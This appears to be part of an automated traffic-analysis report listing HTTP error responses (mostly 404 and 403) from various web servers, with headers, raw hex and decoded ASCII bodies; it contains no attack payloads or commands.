Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:18:21 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:18:21 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Thu, 21 Mar 2024 04:18:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 6d 78 95 8e 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Vp/JLII&T";Ct@}4l"(//=3YNf>%mx0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:18:24 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingETag: W/"62c56f04-156"Content-Encoding: gzipData Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 7b 9e c2 58 a2 74 9c 13 5d 7e ae 01 6a 28 68 a8 90 63 6f ce 96 6c af 65 6f c8 85 a7 07 27 5c 45 b5 df ac 76 67 a4 19 ee 9f 5f 9f de 3f de 5e 98 a5 e0 cf 77 c3 31 18 1b dc 9c 55 00 56 b2 1e b9 25 4a a5 93 52 7b 5c cc aa b6 22 0a 29 72 5a 68 8c 04 91 9a f2 d8 2c 45 80 2a 24 4e 8d 0a ea 1b a3 5a 4b a3 31 48 c8 19 f3 67 52 17 90 41 b9 7a ae a2 06 61 b0 2a 11 54 4a 2e 5e 9a 1a cb d9 1e 39 61 36 90 47 de 72 56 68 f3 30 72 fc 82 3c 7b 5c 3b eb 8c 81 d8 df b4 b8 fe db 6c b7 8d 05 77 b1 d4 9d da f6 a1 5f 9d 21 7b 60 c2 e2 c8 61 ec d4 54 d0 2f 04 3d 61 ea da 74 ed 3d cc b4 43 de 1f 2b 4d 48 84 a1 22 67 87 df c8 ab 0b 67 bb e3 9f 38 0f f2 e8 ea b7 3d b9 d7 c7 7e 00 d9 11 de 34 56 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7eN0{Xt]~j(hcoleo'\Evg_?^w1UV%JR{\")rZh,E$NZK1HgRAzaTJ.^9a6GrVh0r<{\;lw_!{`aT/=at=C+MH"gg8=~4V0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:18:24 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:18:24 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:23:35 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:23:35 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:18:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingETag: W/"62c56f04-156"Content-Encoding: gzipData Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 90 bd 4e c4 30 10 84 7b 9e c2 58 a2 74 9c 13 5d 7e ae 01 6a 28 68 a8 90 63 6f ce 96 6c af 65 6f c8 85 a7 07 27 5c 45 b5 df ac 76 67 a4 19 ee 9f 5f 9f de 3f de 5e 98 a5 e0 cf 77 c3 31 18 1b dc 9c 55 00 56 b2 1e b9 25 4a a5 93 52 7b 5c cc aa b6 22 0a 29 72 5a 68 8c 04 91 9a f2 d8 2c 45 80 2a 24 4e 8d 0a ea 1b a3 5a 4b a3 31 48 c8 19 f3 67 52 17 90 41 b9 7a ae a2 06 61 b0 2a 11 54 4a 2e 5e 9a 1a cb d9 1e 39 61 36 90 47 de 72 56 68 f3 30 72 fc 82 3c 7b 5c 3b eb 8c 81 d8 df b4 b8 fe db 6c b7 8d 05 77 b1 d4 9d da f6 a1 5f 9d 21 7b 60 c2 e2 c8 61 ec d4 54 d0 2f 04 3d 61 ea da 74 ed 3d cc b4 43 de 1f 2b 4d 48 84 a1 22 67 87 df c8 ab 0b 67 bb e3 9f 38 0f f2 e8 ea b7 3d b9 d7 c7 7e 00 d9 11 de 34 56 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7eN0{Xt]~j(hcoleo'\Evg_?^w1UV%JR{\")rZh,E$NZK1HgRAzaTJ.^9a6GrVh0r<{\;lw_!{`aT/=at=C+MH"gg8=~4V0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:32 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:32 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:32 GMTServer: Apache/2.4.38 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 31 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6b 76 67 6c 6d 2d 77 6c 61 6e 30 30 2e 63 75 73 74 2e 74 61 6c 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:33 GMTServer: Apache/2.4.38 (Debian)Content-Length: 316Connection: closeContent-Type: text/html; charset=iso-8859-1<
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 21 Mar 2024 04:18:33 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Mar 2024 23:15:40 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Thu, 21 Mar 2024 04:18:35 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 f9 05 a9 79 45 a9 c5 25 95 c8 f2 fa 30 13 f5 a1 ae 01 00 74 63 0c ac 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f(HML),I310Q/Qp/K&T$dCAfAyyE%0tc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:18:35 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
